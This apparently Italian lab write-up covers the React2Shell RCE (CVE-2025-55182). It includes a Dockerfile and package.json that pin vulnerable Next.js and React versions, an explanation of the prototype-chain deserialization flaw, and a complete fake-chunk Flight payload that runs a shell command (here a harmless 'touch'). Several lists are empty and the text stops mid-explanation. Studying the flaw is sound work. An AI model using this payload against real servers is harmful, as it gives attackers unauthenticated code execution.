
alias React2Shell
Le sezioni richieste dalle linee guida dell'assegnazione sono contrassegnate con “(Required)”.
Questo ambiente utilizza un Dockerfile personalizzato basato sull'immagine ufficiale Node.js Alpine.
FROM node:20-alpine
WORKDIR /app
COPY package.json ./
RUN npm install --legacy-peer-deps
COPY . .
EXPOSE 3000
CMD ["npm", "run", "dev"]
Il Dockerfile crea un ambiente vulnerabile basato su React Server Components (RSC) e Next.js App Router.
L'ambiente installa versioni vulnerabili di:
Il server vulnerabile viene eseguito in modalità sviluppo tramite npm run dev.
Il server vulnerabile viene eseguito in modalità sviluppo tramite npm run dev.
L'ambiente opera utilizzando la seguente struttura:
[Attacker / exploit.py]
↓
[Next.js App Router]
↓
[React Flight Protocol Parser]
↓
[React Server Components Runtime]
↓
[Node.js Runtime]
L'attaccante invia una richiesta multipart/form-data appositamente costruita all'applicazione Next.js vulnerabile.
Il payload malevolo abusa del processo di deserializzazione del protocollo React Flight.
L'applicazione vulnerabile utilizza l'architettura Next.js App Router.
La richiesta viene elaborata attraverso la pipeline di React Server Components.
Il codice sorgente dell'applicazione è archiviato nella directory src/app/.
src/
└── app/
├── layout.js
└── page.js
Il file layout.js definisce il layout radice richiesto per la struttura App Router e inizializza l'ambiente React Server Components.
export default function RootLayout({ children }) {
return (<html><body>{children}</body></html>);
}
Il file page.js definisce la pagina radice renderizzata su / e mostra un semplice messaggio che indica che il server vulnerabile è in esecuzione.
export default function Page() {
return (<h1>Vulnerable Server</h1>);
}
Le dipendenze del progetto e gli script di esecuzione sono gestiti tramite il file package.json.
{
"name": "cve-2025-55182-vuln-app",
"version": "1.0.0",
"private": true,
"scripts": {
"dev": "next dev -p 3000"
},
"dependencies": {
"next": "15.0.0",
"react": "19.0.0-rc-65a56d0e-20241020",
"react-dom": "19.0.0-rc-65a56d0e-20241020",
"react-server-dom-webpack": "19.0.0-rc-65a56d0e-20241020"
}
}
Questo file definisce versioni vulnerabili di:
L'applicazione vulnerabile viene eseguita utilizzando:
"scripts": {
"dev": "next dev"
}
Il server viene avviato tramite:
npm run dev
che avvia il server di sviluppo Next.js vulnerabile sulla porta 3000.
Il protocollo Flight deserializza oggetti React complessi come:
La vulnerabilità si verifica durante questo processo di deserializzazione.
Il runtime di React elabora payload Flight controllati dall'attaccante.
La traversata non sicura delle proprietà e l'accesso al prototipo consentono infine agli attaccanti di dirottare il costruttore Function.
Dopo uno sfruttamento riuscito, codice JavaScript arbitrario viene eseguito all'interno dell'ambiente server Node.js.
Ciò porta all'esecuzione remota di codice (RCE).
| Componente | Versione |
|---|---|
| Node.js | 20-alpine |
| Next.js | 15.0.0 |
| React | 19.0.0-rc |
| react-dom | 19.0.0-rc |
| react-server-dom-webpack | 19.0.0-rc |
L'ambiente utilizza implementazioni vulnerabili di React Server Components e del protocollo Flight.
CVE-2025-55182, nota anche come React2Shell, è una vulnerabilità critica di esecuzione remota di codice (RCE) che colpisce React Server Components e il protocollo React Flight.
La vulnerabilità si verifica durante il processo di deserializzazione dei payload del protocollo Flight controllati dall'attaccante.
Il problema consente agli attaccanti di:
La vulnerabilità è particolarmente pericolosa perché lo sfruttamento può avvenire senza autenticazione utilizzando una singola richiesta HTTP costruita ad hoc.
Le applicazioni che utilizzano configurazioni vulnerabili di React Server Components e Next.js App Router sono direttamente esposte.
La causa radice della vulnerabilità è la gestione non sicura dei riferimenti agli oggetti controllati dall'attaccante durante la deserializzazione del protocollo Flight.
React Flight utilizza internamente stringhe di riferimento speciali come:
$@0
$B1337
$1:__proto__:then
Questi riferimenti vengono risolti in modo ricorsivo durante la deserializzazione.
La logica vulnerabile esegue una traversata delle proprietà simile a:
value[path[i]]
senza verificare se la proprietà appartiene all'oggetto stesso.
Di conseguenza, gli attaccanti possono accedere a proprietà pericolose della catena del prototipo JavaScript come:
__proto__
constructor
prototype
Ciò consente infine la pollution del prototipo e il dirottamento del costruttore Function.
L'attaccante crea prima un oggetto chunk React falso.
{
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1,
"value": "{\"then\":\"$B1337\"}",
"_response": {
"_prefix": "touch /tmp/success.txt",
"_chunks": "$Q2",
"_formData": {
"get": "$1:constructor:constructor"
}
}
}
Il campo critico è:
"status": "resolved_model"
Il runtime di React si fida erroneamente di questo campo e tratta l'oggetto controllato dall'attaccante come un legittimo oggetto chunk interno.
Il payload:
$1:__proto__:then
fa sì che il deserializzatore attraversi la catena del prototipo JavaScript.
Poiché il codice vulnerabile non valida le proprietà pericolose, l'attaccante ottiene l'accesso a:
Chunk.prototype.then
Questo trasforma il chunk falso in un oggetto thenable.
Il payload:
$1:constructor:constructor
si risolve infine in:
Function
Questo sostituisce:
response._formData.get
con il costruttore Function globale di JavaScript.
Di conseguenza:
Function(attacker_controlled_payload)
diventa possibile.
Il payload:
$B1337
costringe il parser di React Flight nella logica di parsing Blob.
Durante questo processo:
response._formData.get(...)
viene eseguito.
Tuttavia, l'attaccante ha già sostituito questa funzione con il costruttore Function globale.
Ciò si traduce infine nell'esecuzione di JavaScript arbitrario all'interno del runtime Node.js.
Il processo di sfruttamento avviene nel seguente ordine: